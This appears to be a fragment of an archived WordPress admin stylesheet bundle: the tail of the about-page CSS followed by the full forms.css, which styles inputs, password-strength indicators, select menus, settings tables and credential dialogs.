(max-width:782px){.about__section .wp-person{width:33%}.about__section .compact .wp-person{width:25%}.about__section .wp-person .gravatar,.about__section .wp-person-avatar{width:120px;height:120px}}@media screen and (max-width:600px){.about__section .wp-person{width:50%}.about__section .compact .wp-person{width:33%}.about__section .wp-person .web{font-size:1.2em}}@media screen and (max-width:480px){.about__section .wp-person{min-width:100%}.about__section .wp-person .web{font-size:1em}.about__section .compact .wp-person .web{font-size:1em}}.about__section .column .freedom-image{margin-bottom:var(--gap);max-height:180px}.about__section .column .privacy-image{display:block;margin-right:auto;margin-left:auto;max-width:25rem}.about-wrap{position:relative;margin:25px 20px 0 40px;max-width:1050px;font-size:15px}.about-wrap.full-width-layout{max-width:1200px}.about-wrap-content{max-width:1050px}.about-wrap .notice,.about-wrap div.error,.about-wrap div.updated{display:none!important}.about-wrap hr{border:0;height:0;margin:3em 0 0;border-top:1px solid rgba(0,0,0,.1)}.about-wrap img{margin:0;width:100%;height:auto;vertical-align:middle}.about-wrap .inline-svg img{max-width:100%;width:auto;height:auto}.about-wrap video{margin:1.5em auto}.wp-badge{background:#0073aa url(../images/w-logo-white.png?ver=20160308) no-repeat;background-position:center 25px;background-size:80px 80px;color:#fff;font-size:14px;text-align:center;font-weight:600;margin:5px 0 0;padding-top:120px;height:40px;display:inline-block;width:140px;text-rendering:optimizeLegibility;box-shadow:0 1px 3px rgba(0,0,0,.2)}.svg .wp-badge{background-image:url(../images/wordpress-logo-white.svg?ver=20160308)}.about-wrap .wp-badge{position:absolute;top:0;left:0}.about-wrap .nav-tab{padding-left:15px;padding-right:15px;font-size:18px;line-height:1.33333333}.about-wrap h1{margin:.2em 0 0 200px;padding:0;color:#32373c;line-height:1.2;font-size:2.8em;font-weight:400}.about-wrap h2{margin:40px 0 .6em;font-size:2.7em;line-height:1.3;font-weight:300;text-align:center}.about-wrap h3{margin:1.25em 0 .6em;font-size:1.4em;line-height:1.5}.about-wrap h4{font-size:16px;color:#23282d}.about-wrap p{line-height:1.5;font-size:16px}.about-wrap code,.about-wrap ol li p{font-size:14px;font-weight:400}.about-wrap figcaption{font-size:13px;text-align:center;color:#fff;text-overflow:ellipsis}.about-wrap .about-description,.about-wrap .about-text{margin-top:1.4em;font-weight:400;line-height:1.6;font-size:19px}.about-wrap .about-text{margin:1em 0 1em 200px;color:#555d66}.about-wrap .has-1-columns,.about-wrap .has-2-columns,.about-wrap .has-3-columns,.about-wrap .has-4-columns{display:grid;max-width:800px;margin-top:40px;margin-right:auto;margin-left:auto}.about-wrap .column{margin-left:20px;margin-right:20px}.about-wrap .is-wide{max-width:760px}.about-wrap .is-fullwidth{max-width:100%}.about-wrap .has-1-columns{display:block;max-width:680px;margin:0 auto 40px}.about-wrap .has-2-columns{grid-template-columns:1fr 1fr}.about-wrap .has-2-columns .column:nth-of-type(odd){grid-column-start:1}.about-wrap .has-2-columns .column:nth-of-type(2n){grid-column-start:2}.about-wrap .has-2-columns.is-wider-right{grid-template-columns:1fr 2fr}.about-wrap .has-2-columns.is-wider-left{grid-template-columns:2fr 1fr}.about-wrap .has-3-columns{grid-template-columns:repeat(3,1fr)}.about-wrap .has-3-columns .column:nth-of-type(3n+1){grid-column-start:1}.about-wrap .has-3-columns .column:nth-of-type(3n+2){grid-column-start:2}.about-wrap .has-3-columns .column:nth-of-type(3n){grid-column-start:3}.about-wrap .has-4-columns{grid-template-columns:repeat(4,1fr)}.about-wrap .has-4-columns .column:nth-of-type(4n+1){grid-column-start:1}.about-wrap .has-4-columns .column:nth-of-type(4n+2){grid-column-start:2}.about-wrap .has-4-columns .column:nth-of-type(4n+3){grid-column-start:3}.about-wrap .has-4-columns .column:nth-of-type(4n){grid-column-start:4}.about-wrap .column :first-child{margin-top:0}.about-wrap .aligncenter{text-align:center}.about-wrap .alignleft{float:right;margin-left:40px}.about-wrap .alignright{float:left;margin-right:40px}.about-wrap .is-vertically-aligned-top{align-self:flex-start}.about-wrap .is-vertically-aligned-center{align-self:center}.about-wrap .is-vertically-aligned-bottom{align-self:end}.about-wrap .point-releases{margin-top:5px;border-bottom:1px solid #ddd}.about-wrap .changelog{margin-bottom:40px}.about-wrap .changelog.point-releases h3{padding-top:35px}.about-wrap .changelog.point-releases h3:first-child{padding-top:7px}.about-wrap .changelog.feature-section .col{margin-top:40px}.about-wrap .lead-description{font-size:1.5em;text-align:center}.about-wrap .feature-section p{margin-top:.6em}.about-wrap .headline-feature{margin:0 auto 40px;max-width:680px}.about-wrap .headline-feature h2{margin:50px 0 0}.about-wrap .headline-feature img{max-width:600px;width:100%}.about-wrap .return-to-dashboard{margin:30px -5px 0 0;font-size:14px;font-weight:600}.about-wrap .return-to-dashboard a{text-decoration:none;padding:0 5px}.about-wrap h2.wp-people-group{margin:2.6em 0 1.33em;padding:0;font-size:16px;line-height:inherit;font-weight:600;text-align:right}.about-wrap .wp-people-group{padding:0 5px;margin:0 -5px 0 -15px}.about-wrap .compact{margin-bottom:0}.about-wrap .wp-person{display:inline-block;vertical-align:top;margin-left:10px;padding-bottom:15px;height:70px;width:280px}.about-wrap .compact .wp-person{height:auto;width:180px;padding-bottom:0;margin-bottom:0}.about-wrap .wp-person .gravatar{float:right;margin:0 0 10px 10px;padding:1px;width:60px;height:60px}.about-wrap .compact .wp-person .gravatar{width:30px;height:30px}.about-wrap .wp-person .web{margin:6px 0 2px;font-size:16px;font-weight:400;line-height:2;text-decoration:none}.about-wrap .wp-person .title{display:block}.about-wrap #wp-people-group-validators+p.wp-credits-list{margin-top:0}.about-wrap p.wp-credits-list a{white-space:nowrap}.freedoms-php .about-wrap ol{margin:40px 60px}.freedoms-php .about-wrap ol li{list-style-type:decimal;font-weight:600}.freedoms-php .about-wrap ol p{font-weight:400;margin:.6em 0}@media screen and (max-width:782px){.about-wrap .has-3-columns,.about-wrap .has-4-columns{grid-template-columns:1fr 1fr}.about-wrap .has-3-columns .column:nth-of-type(3n+1),.about-wrap .has-4-columns .column:nth-of-type(4n+1){grid-column-start:1;grid-row-start:1}.about-wrap .has-3-columns .column:nth-of-type(3n+2),.about-wrap .has-4-columns .column:nth-of-type(4n+2){grid-column-start:2;grid-row-start:1}.about-wrap .has-3-columns .column:nth-of-type(3n),.about-wrap .has-4-columns .column:nth-of-type(4n+3){grid-column-start:1;grid-row-start:2}.about-wrap .has-4-columns .column:nth-of-type(4n){grid-column-start:2;grid-row-start:2}}@media screen and (max-width:600px){.about-wrap .has-2-columns,.about-wrap .has-3-columns,.about-wrap .has-4-columns{display:block}.about-wrap :not(.is-wider-right):not(.is-wider-left) .column{margin-left:0;margin-right:0}.about-wrap .has-2-columns.is-wider-left,.about-wrap .has-2-columns.is-wider-right{display:grid}}@media only screen and (max-width:500px){.about-wrap{margin-left:20px;margin-right:10px}.about-wrap .about-text,.about-wrap h1{margin-left:0}.about-wrap .about-text{margin-bottom:.25em}.about-wrap .wp-badge{position:relative;margin-bottom:1.5em;width:100%}}@media only screen and (max-width:480px){.about-wrap .has-2-columns.is-wider-left,.about-wrap .has-2-columns.is-wider-right{display:block}.about-wrap .column{margin-left:0;margin-right:0}.about-wrap .has-2-columns.is-wider-left img,.about-wrap .has-2-columns.is-wider-right img{max-width:160px}} css/forms.css 0000644 00000115654 15233246127 0007215 0 ustar 00 /* Include margin and padding in the width calculation of input and textarea. */ input, select, textarea, button { box-sizing: border-box; font-family: inherit; font-size: inherit; font-weight: inherit; } textarea, input { font-size: 14px; } textarea { overflow: auto; padding: 8px 12px; /* inherits font size 14px */ line-height: 1.42857143; /* 20px */ resize: vertical; } input, select { margin: 0 1px; } textarea.code { padding: 8px 12px; } input[type="text"], input[type="password"], input[type="color"], input[type="date"], input[type="datetime"], input[type="datetime-local"], input[type="email"], input[type="month"], input[type="number"], input[type="search"], input[type="tel"], input[type="time"], input[type="url"], input[type="week"], select, textarea { box-shadow: 0 0 0 transparent; border-radius: 2px; border: 1px solid #949494; background-color: #fff; color: #1e1e1e; } input[type="text"], input[type="password"], input[type="date"], input[type="datetime"], input[type="datetime-local"], input[type="email"], input[type="month"], input[type="number"], input[type="search"], input[type="tel"], input[type="time"], input[type="url"], input[type="week"] { padding: 0 12px; /* inherits font size 14px */ min-height: 40px; } select { padding: 0 24px 0 12px; /* inherits font size 14px */ line-height: 2.71428571; /* 38px for 40px min-height */ min-height: 40px; } ::-webkit-datetime-edit { /* inherits font size 14px */ line-height: 1.85714286; /* 26px */ } input[type="text"]:focus, input[type="password"]:focus, input[type="color"]:focus, input[type="date"]:focus, input[type="datetime"]:focus, input[type="datetime-local"]:focus, input[type="email"]:focus, input[type="month"]:focus, input[type="number"]:focus, input[type="search"]:focus, input[type="tel"]:focus, input[type="time"]:focus, input[type="url"]:focus, input[type="week"]:focus, select:focus, textarea:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } /* Checkbox and radio use outset focus style */ input[type="checkbox"]:focus, input[type="radio"]:focus { border-color: #1e1e1e; box-shadow: 0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } /* rtl:ignore */ .ltr, input[type="password"], input[type="email"], input[type="url"] { direction: ltr; } input[type="checkbox"], input[type="radio"] { border: 1px solid #1e1e1e; border-radius: 2px; background: #fff; color: #1e1e1e; clear: none; cursor: pointer; display: inline-block; line-height: 0; height: 1rem; margin: -0.25rem 0.25rem 0 0; outline: 0; padding: 0 !important; text-align: center; vertical-align: middle; width: 1rem; min-width: 1rem; -webkit-appearance: none; box-shadow: none; transition: .05s border-color ease-in-out; } input[type="radio"]:checked + label:before { color: #949494; } .wp-core-ui input[type="reset"]:hover, .wp-core-ui input[type="reset"]:active { color: #135e96; } td > input[type="checkbox"], .wp-admin p input[type="checkbox"], .wp-admin p input[type="radio"] { margin-top: 0; } .wp-admin p label input[type="checkbox"] { margin-top: -4px; } .wp-admin p label input[type="radio"] { margin-top: -2px; } input[type="radio"] { display: inline-flex; border-radius: 50%; margin-right: 0.25rem; align-items: center; justify-content: center; } input[type="checkbox"]:checked::before, input[type="radio"]:checked::before { float: left; display: inline-block; vertical-align: middle; width: 1rem; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } input[type="checkbox"]:checked::before { /* Use the "Yes" SVG Dashicon */ content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%23ffffff%27%2F%3E%3C%2Fsvg%3E"); content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%23ffffff%27%2F%3E%3C%2Fsvg%3E") / ''; margin: -0.1875rem 0 0 -0.25rem; height: 1.3125rem; width: 1.3125rem; } input[type="checkbox"]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } input[type="radio"]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } input[type="radio"]:checked::before { content: ""; border-radius: 50%; width: 0.5rem; /* 8px */ height: 0.5rem; /* 8px */ margin: auto; background-color: #fff; /* Only visible in Windows High Contrast mode */ outline: 4px solid transparent; } @-moz-document url-prefix() { input[type="checkbox"], input[type="radio"], .form-table input.tog { margin-bottom: -1px; } } /* Search */ input[type="search"] { -webkit-appearance: textfield; } input[type="search"]::-webkit-search-decoration { display: none; } input[type="search"]::-webkit-search-cancel-button { cursor: pointer; } .wp-admin input[type="file"] { padding: 3px 0; cursor: pointer; } input.readonly, input[readonly], textarea.readonly, textarea[readonly] { background-color: #f0f0f0; } ::-webkit-input-placeholder { color: #757575; } ::-moz-placeholder { color: #757575; } .form-invalid .form-required, .form-invalid .form-required:focus, .form-invalid.form-required input, .form-invalid.form-required input:focus, .form-invalid.form-required select, .form-invalid.form-required select:focus { border-color: #d63638 !important; box-shadow: 0 0 2px rgba(214, 54, 56, 0.8); } .form-table .form-required.form-invalid td:after { content: "\f534"; content: "\f534" / ''; font: normal 20px/1 dashicons; color: #d63638; margin-left: -25px; vertical-align: middle; } /* Adjust error indicator for password layout */ .form-table .form-required.user-pass1-wrap.form-invalid td:after { content: ""; } .form-table .form-required.user-pass1-wrap.form-invalid .password-input-wrapper:after { content: "\f534"; content: "\f534" / ''; font: normal 20px/1 dashicons; color: #d63638; margin: 0 6px 0 -29px; vertical-align: middle; } .form-input-tip { color: #646970; } input:disabled, input.disabled, select:disabled, select.disabled, textarea:disabled, textarea.disabled { background: #f0f0f0; border-color: #cccccc; box-shadow: none; color: #949494; } input[type="file"]:disabled, input[type="file"].disabled, input[type="file"][aria-disabled="true"], input[type="range"]:disabled, input[type="range"].disabled, input[type="range"][aria-disabled="true"] { background: none; box-shadow: none; cursor: default; } input[type="checkbox"]:disabled, input[type="checkbox"].disabled, input[type="checkbox"][aria-disabled="true"], input[type="radio"]:disabled, input[type="radio"].disabled, input[type="radio"][aria-disabled="true"], input[type="checkbox"]:disabled:checked:before, input[type="checkbox"].disabled:checked:before, input[type="radio"]:disabled:checked:before, input[type="radio"].disabled:checked:before { opacity: 0.7; cursor: default; } /*------------------------------------------------------------------------------ 2.0 - Forms ------------------------------------------------------------------------------*/ /* Select styles are based on the default button in buttons.css */ .wp-core-ui select { font-size: 14px; line-height: 2.71428571; /* 38px for 40px min-height */ color: #1e1e1e; border-color: #949494; box-shadow: none; border-radius: 2px; padding: 0 24px 0 12px; min-height: 40px; max-width: 25rem; -webkit-appearance: none; /* The SVG is arrow-down-alt2 from Dashicons. */ background: #fff url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20width%3D%2220%22%20height%3D%2220%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M5%206l5%205%205-5%202%201-7%207-7-7%202-1z%22%20fill%3D%22%231e1e1e%22%2F%3E%3C%2Fsvg%3E') no-repeat right 8px top 55%; background-size: 16px 16px; cursor: pointer; vertical-align: middle; } .wp-core-ui select:hover { color: #1e1e1e; border-color: #1e1e1e; } .wp-core-ui select:focus { border-color: var(--wp-admin-theme-color); color: #1e1e1e; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .wp-core-ui select:active { border-color: #949494; box-shadow: none; } .wp-core-ui select.disabled, .wp-core-ui select:disabled { color: #a7aaad; border-color: #dcdcde; background-color: #f6f7f7; /* The SVG is arrow-down-alt2 from Dashicons. */ background-image: url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20width%3D%2220%22%20height%3D%2220%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M5%206l5%205%205-5%202%201-7%207-7-7%202-1z%22%20fill%3D%22%23a0a5aa%22%2F%3E%3C%2Fsvg%3E'); box-shadow: none; text-shadow: 0 1px 0 #fff; cursor: default; transform: none; } .wp-core-ui select[aria-disabled="true"] { cursor: default; } /* Reset Firefox inner outline that appears on :focus. */ /* This ruleset overrides the color change on :focus thus needs to be after select:focus. */ .wp-core-ui select:-moz-focusring { color: transparent; text-shadow: 0 0 0 #0a4b78; } /* Remove background focus style from IE11 while keeping focus style available on option elements. */ .wp-core-ui select::-ms-value { background: transparent; color: #50575e; } .wp-core-ui select:hover::-ms-value { color: #1e1e1e; } .wp-core-ui select:focus::-ms-value { color: #0a4b78; } .wp-core-ui select.disabled::-ms-value, .wp-core-ui select:disabled::-ms-value { color: #a7aaad; } /* Hide the native down arrow for select element on IE. */ .wp-core-ui select::-ms-expand { display: none; } .wp-admin .button-cancel { display: inline-block; min-height: 28px; padding: 0 5px; line-height: 2; } .meta-box-sortables select { max-width: 100%; } .meta-box-sortables input { vertical-align: middle; } .misc-pub-post-status select { margin-top: 0; } .wp-core-ui select[multiple] { height: auto; padding-right: 8px; background: #fff; } .submit { padding: 1.5em 0; margin: 5px 0; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border: none; } form p.submit a.cancel:hover { text-decoration: none; } p.submit { text-align: left; max-width: 100%; margin-top: 20px; padding-top: 10px; } .textright p.submit { border: none; text-align: right; } table.form-table + p.submit, table.form-table + input + p.submit, table.form-table + input + input + p.submit { border-top: none; padding-top: 0; } #minor-publishing-actions input, #major-publishing-actions input, #minor-publishing-actions .preview { text-align: center; } textarea.all-options, input.all-options { width: 250px; } input.large-text, textarea.large-text { width: 99%; } .regular-text { width: 25em; } input.small-text { width: 50px; padding: 0 8px; } label input.small-text { margin-top: -4px; } input[type="number"].small-text { width: 65px; padding-right: 4px; } input.tiny-text { width: 35px; } input[type="number"].tiny-text { width: 45px; padding-right: 0; } #doaction, #doaction2, #post-query-submit { margin: 0 8px 0 0; } /* @since 5.7.0 secondary bulk action controls require JS. */ .no-js label[for="bulk-action-selector-bottom"], .no-js select#bulk-action-selector-bottom, .no-js input#doaction2, .no-js label[for="new_role2"], .no-js select#new_role2, .no-js input#changeit2 { display: none; } .wp-core-ui .tablenav input[type="text"], .wp-core-ui .tablenav input[type="password"], .wp-core-ui .tablenav input[type="date"], .wp-core-ui .tablenav input[type="datetime"], .wp-core-ui .tablenav input[type="datetime-local"], .wp-core-ui .tablenav input[type="email"], .wp-core-ui .tablenav input[type="month"], .wp-core-ui .tablenav input[type="number"], .wp-core-ui .tablenav input[type="search"], .wp-core-ui .tablenav input[type="tel"], .wp-core-ui .tablenav input[type="time"], .wp-core-ui .tablenav input[type="url"], .wp-core-ui .tablenav input[type="week"], .wp-core-ui .tablenav select { padding: 0 12px; /* inherits font size 14px */ line-height: 2.14285714; /* 30px for 32px height with 14px font */ min-height: 32px; } .wp-core-ui .tablenav select { float: left; margin-right: 6px; max-width: 12.5rem; padding: 0 24px 0 8px; } .wp-core-ui .tablenav .button { min-height: 32px; line-height: 2.30769231; /* 30px for 32px height with 13px font */ padding: 0 12px; } #timezone_string option { margin-left: 1em; } .wp-core-ui .button.wp-hide-pw > .dashicons, .wp-core-ui .button.wp-cancel-pw > .dashicons { width: 1.25rem; height: 1.25rem; font-size: 20px; line-height: 1; vertical-align: middle; } .button.wp-hide-pw.user-new-password-toggle { display: inline-flex; align-items: center; column-gap: 4px; } .wp-cancel-pw .dashicons-no { display: none; } label, #your-profile label + a { vertical-align: middle; } fieldset label, #your-profile label + a { vertical-align: middle; } .options-media-php [for*="_size_"] { min-width: 10em; vertical-align: baseline; } .options-media-php .small-text[name*="_size_"] { margin: 0 0 1em; } .wp-generate-pw { margin-top: 1em; position: relative; } .wp-pwd button { height: min-content; } .wp-pwd { margin-top: 1em; position: relative; } .mailserver-pass-wrap .wp-pwd { display: inline-block; margin-top: 0; } /* rtl:ignore */ #mailserver_pass { padding-right: 2.5rem; } /* rtl:ignore */ .mailserver-pass-wrap .button.wp-hide-pw { background: transparent; border: 1px solid transparent; box-shadow: none; font-size: 14px; line-height: 2; width: 2.5rem; min-width: 40px; margin: 0; padding: 0 9px; position: absolute; right: 0; top: 0; } .mailserver-pass-wrap .button.wp-hide-pw:hover { background: transparent; border-color: transparent; } .mailserver-pass-wrap .button.wp-hide-pw:focus { background: transparent; border-color: var(--wp-admin-theme-color); border-radius: 2px; box-shadow: 0 0 0 0.5px var(--wp-admin-theme-color); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .mailserver-pass-wrap .button.wp-hide-pw:active { background: transparent; box-shadow: none; transform: none; } #misc-publishing-actions label { vertical-align: baseline; } #pass-strength-result { background-color: #f0f0f0; border: 1px solid #cccccc; border-radius: 2px; color: #1e1e1e; margin: -1px 1px 5px; padding: 3px 5px; text-align: center; width: 25em; box-sizing: border-box; opacity: 0; } #pass-strength-result.short { background-color: #ffabaf; border-color: #e65054; opacity: 1; } #pass-strength-result.bad { background-color: #facfd2; border-color: #f86368; opacity: 1; } #pass-strength-result.good { background-color: #f5e6ab; border-color: #f0c33c; opacity: 1; } #pass-strength-result.strong { background-color: #b8e6bf; border-color: #68de7c; opacity: 1; } .password-input-wrapper { display: inline-block; } .password-input-wrapper input { font-family: Consolas, Monaco, monospace; } #pass1.short, #pass1-text.short { border-color: #e65054; } #pass1.bad, #pass1-text.bad { border-color: #f86368; } #pass1.good, #pass1-text.good { border-color: #f0c33c; } #pass1.strong, #pass1-text.strong { border-color: #68de7c; } #pass1:focus, #pass1-text:focus { box-shadow: 0 0 0 0.5px var(--wp-admin-theme-color); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .pw-weak { display: none; } .indicator-hint { padding-top: 8px; } .wp-pwd [type="text"], .wp-pwd [type="password"] { margin-bottom: 0; /* Same height as the buttons */ min-height: 40px; } /* Hide the Edge "reveal password" native button */ .wp-pwd input::-ms-reveal { display: none; } #pass1-text, .show-password #pass1 { display: none; } #pass1-text::-ms-clear { display: none; } .show-password #pass1-text { display: inline-block; } /* Caps lock warning */ .wp-pwd .caps-warning { display: none; position: relative; background: #fcf9e8; border: 1px solid #f0c33c; color: #1d2327; padding: 6px 10px; top: -8px; } .profile-php .wp-pwd .caps-warning { padding: 3px 5px; top: -4px; border-radius: 2px; } .wp-pwd .caps-icon { display: inline-flex; justify-content: center; width: 20px; height: 20px; margin-right: 5px; vertical-align: middle; } .wp-pwd .caps-warning-text { vertical-align: middle; } /* Caps lock warning */ p.search-box { display: flex; flex-wrap: wrap; align-items: center; column-gap: 0.5rem; position: relative; float: right; margin: 11px 0; } p.search-box input[type="search"], p.search-box input[type="text"] { min-height: 32px; padding: 0 8px; } p.search-box .button { min-height: 32px; line-height: 2.30769231; /* 30px for 32px height with 13px font */ padding: 0 12px; } .network-admin.themes-php p.search-box { clear: left; } .tablenav .search-plugins input[name="s"] { float: left; margin: 0 4px 0 0; } .tagsdiv .newtag { margin: 0; } .js.plugins-php .search-box .wp-filter-search { margin: 0; width: 280px; } input[type="text"].ui-autocomplete-loading, input[type="email"].ui-autocomplete-loading { background-image: url(../images/loading.gif); background-repeat: no-repeat; background-position: right 5px center; visibility: visible; } input.ui-autocomplete-input.open { border-bottom-color: transparent; } ul#add-to-blog-users { margin: 0 0 0 14px; } .ui-autocomplete { padding: 0; margin: 0; list-style: none; position: absolute; z-index: 10000; border: 1px solid #4f94d4; box-shadow: 0 1px 2px rgba(79, 148, 212, 0.8); background-color: #fff; } .ui-autocomplete li { margin-bottom: 0; padding: 4px 10px; white-space: nowrap; text-align: left; cursor: pointer; } /* Colors for the wplink toolbar autocomplete. */ .ui-autocomplete .ui-state-focus { background-color: #dcdcde; } /* Colors for the tags autocomplete. */ .wp-tags-autocomplete .ui-state-focus, .wp-tags-autocomplete [aria-selected="true"] { background-color: var(--wp-admin-theme-color); color: #fff; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } /*------------------------------------------------------------------------------ 15.0 - Comments Screen ------------------------------------------------------------------------------*/ .form-table { border-collapse: collapse; margin-top: 0.5em; width: 100%; clear: both; } .form-table, .form-table td, .form-table th, .form-table td p { font-size: 14px; } .form-table td { margin-bottom: 9px; padding: 15px 10px; line-height: 1.3; vertical-align: middle; } .form-table th, .form-wrap label { color: #1d2327; font-weight: 400; text-shadow: none; vertical-align: baseline; } .form-table th { vertical-align: top; text-align: left; padding: 20px 10px 20px 0; width: 200px; line-height: 1.3; font-weight: 600; } .form-table th.th-full, /* Not used by core. Back-compat for pre-4.8 */ .form-table .td-full { width: auto; padding: 20px 10px 20px 0; font-weight: 400; } .form-table td p { margin-top: 4px; margin-bottom: 0; } .form-table .date-time-doc { margin-top: 1em; } .form-table p.timezone-info { margin: 1em 0; display: flex; flex-direction: column; } #local-time { margin-top: 0.5em; } .form-table td fieldset label { margin: 0.35em 0 0.5em !important; display: inline-block; } .form-table td fieldset p label { margin-top: 0 !important; } .form-table td fieldset label, .form-table td fieldset p, .form-table td fieldset li { line-height: 1.4; } .form-table .pre { padding: 8px; margin: 0; } table.form-table td .updated { font-size: 13px; } table.form-table td .updated p { font-size: 13px; margin: 0.3em 0; } /*------------------------------------------------------------------------------ 18.0 - Users ------------------------------------------------------------------------------*/ #profile-page .form-table textarea { width: 500px; margin-bottom: 6px; } #profile-page .form-table #rich_editing { margin-right: 5px } #your-profile legend { font-size: 22px; } #display_name { width: 15em; } #adduser .form-field input, #createuser .form-field input { width: 25em; } .color-option { display: inline-block; width: 24%; padding: 5px 15px 15px; box-sizing: border-box; margin-bottom: 3px; } .color-option:hover, .color-option.selected { background: #dcdcde; } .color-palette { display: table; width: 100%; border-spacing: 0; border-collapse: collapse; } .color-palette .color-palette-shade, .color-palette td { display: table-cell; height: 20px; padding: 0; border: none; } .color-option { cursor: pointer; } .create-application-password .form-field { max-width: 25em; } .create-application-password label { font-weight: 600; } .create-application-password p.submit { margin-bottom: 0; padding-bottom: 0; display: block; } #application-passwords-section .notice { margin-top: 20px; margin-bottom: 0; word-wrap: break-word; } .application-password-display input.code { margin-bottom: 6px; width: 100%; max-width: 20em; } .auth-app-card.card { max-width: 768px; } .authorize-application-php .form-wrap p { display: block; } /*------------------------------------------------------------------------------ 19.0 - Tools ------------------------------------------------------------------------------*/ .tool-box .title { margin: 8px 0; font-size: 18px; font-weight: 400; line-height: 24px; } .label-responsive { vertical-align: middle; } #export-filters p { margin: 0 0 1em; } #export-filters p.submit { margin: 7px 0 5px; } /* Card styles */ .card { position: relative; margin-top: 20px; padding: 16px 24px; min-width: 255px; max-width: 520px; border: 1px solid rgb(0, 0, 0, 0.1); border-radius: 8px; background: #ffffff; box-sizing: border-box; } /* Press this styles */ .pressthis h4 { margin: 2em 0 1em; } .pressthis textarea { width: 100%; font-size: 1em; } #pressthis-code-wrap { overflow: auto; } .pressthis-bookmarklet-wrapper { margin: 20px 0 8px; vertical-align: top; position: relative; z-index: 1; } .pressthis-bookmarklet, .pressthis-bookmarklet:hover, .pressthis-bookmarklet:focus, .pressthis-bookmarklet:active { display: inline-block; position: relative; cursor: move; color: #2c3338; background: #dcdcde; border-radius: 5px; border: 1px solid #c3c4c7; font-style: normal; line-height: 16px; font-size: 14px; text-decoration: none; } .pressthis-bookmarklet:active { outline: none; } .pressthis-bookmarklet:after { content: ""; width: 70%; height: 55%; z-index: -1; position: absolute; right: 10px; bottom: 9px; background: transparent; transform: skew(20deg) rotate(6deg); box-shadow: 0 10px 8px rgba(0, 0, 0, 0.6); } .pressthis-bookmarklet:hover:after { transform: skew(20deg) rotate(9deg); box-shadow: 0 10px 8px rgba(0, 0, 0, 0.7); } .pressthis-bookmarklet span { display: inline-block; margin: 0; padding: 0 12px 8px 9px; } .pressthis-bookmarklet span:before { color: #787c82; font: normal 20px/1 dashicons; content: "\f157"; content: "\f157" / ''; position: relative; display: inline-block; top: 4px; margin-right: 4px; } .pressthis-js-toggle { margin-left: 10px; padding: 0; height: auto; vertical-align: top; } /* to override the button class being applied */ .pressthis-js-toggle.button.button { margin-left: 10px; padding: 0; height: auto; vertical-align: top; } .pressthis-js-toggle .dashicons { margin: 5px 8px 6px 7px; color: #50575e; } /*------------------------------------------------------------------------------ 20.0 - Settings ------------------------------------------------------------------------------*/ .timezone-info code { white-space: nowrap; } .defaultavatarpicker .avatar { margin: 2px 0; vertical-align: middle; } .options-general-php .date-time-text { display: inline-block; min-width: 10em; } .options-general-php input.small-text { width: 56px; margin: -2px 0; min-height: 32px; } .options-general-php .spinner { float: none; margin: -3px 3px 0; } .settings-php .language-install-spinner, .options-general-php .language-install-spinner, .user-edit-php .language-install-spinner, .profile-php .language-install-spinner { display: inline-block; float: none; margin: -3px 5px 0; vertical-align: middle; } .form-table.permalink-structure .available-structure-tags { margin-top: 8px; } .form-table.permalink-structure .available-structure-tags ul { display: flex; flex-wrap: wrap; margin: 8px 0 0; } .form-table.permalink-structure .available-structure-tags li { margin: 6px 5px 0 0; } .form-table.permalink-structure .available-structure-tags li:last-child { margin-right: 0; } .form-table.permalink-structure .structure-selection .row { margin-bottom: 16px; } .form-table.permalink-structure .structure-selection .row > div { max-width: calc(100% - 24px); display: inline-flex; flex-direction: column; } .form-table.permalink-structure .structure-selection .row label { font-weight: 600; } .form-table.permalink-structure .structure-selection .row p { margin-top: 0; } .permalink-structure-optional-description code { display: inline-block; } /*------------------------------------------------------------------------------ 21.0 - Network Admin ------------------------------------------------------------------------------*/ .setup-php textarea { max-width: 100%; } .form-field #site-address { max-width: 25em; } .form-field #domain { max-width: 22em; } .form-field #site-title, .form-field #admin-email, .form-field #path, .form-field #blog_registered, .form-field #blog_last_updated { max-width: 25em; } .form-field #path { margin-bottom: 5px; } #search-users, #search-sites { max-width: 60%; } .configuration-rules-label { font-weight: 600; margin-bottom: 4px; } /*------------------------------------------------------------------------------ Credentials check dialog for Install and Updates ------------------------------------------------------------------------------*/ .request-filesystem-credentials-dialog { display: none; /* The customizer uses visibility: hidden on the body for full-overlays. */ visibility: visible; } .request-filesystem-credentials-dialog .notification-dialog { top: 10%; max-height: 85%; } .request-filesystem-credentials-dialog-content { margin: 25px; } #request-filesystem-credentials-title { font-size: 1.3em; margin: 1em 0; } .request-filesystem-credentials-form legend { font-size: 1em; padding: 1.33em 0; font-weight: 600; } .request-filesystem-credentials-form input[type="text"], .request-filesystem-credentials-form input[type="password"] { display: block; } .request-filesystem-credentials-dialog input[type="text"], .request-filesystem-credentials-dialog input[type="password"] { width: 100%; } .request-filesystem-credentials-form .field-title { font-weight: 600; } 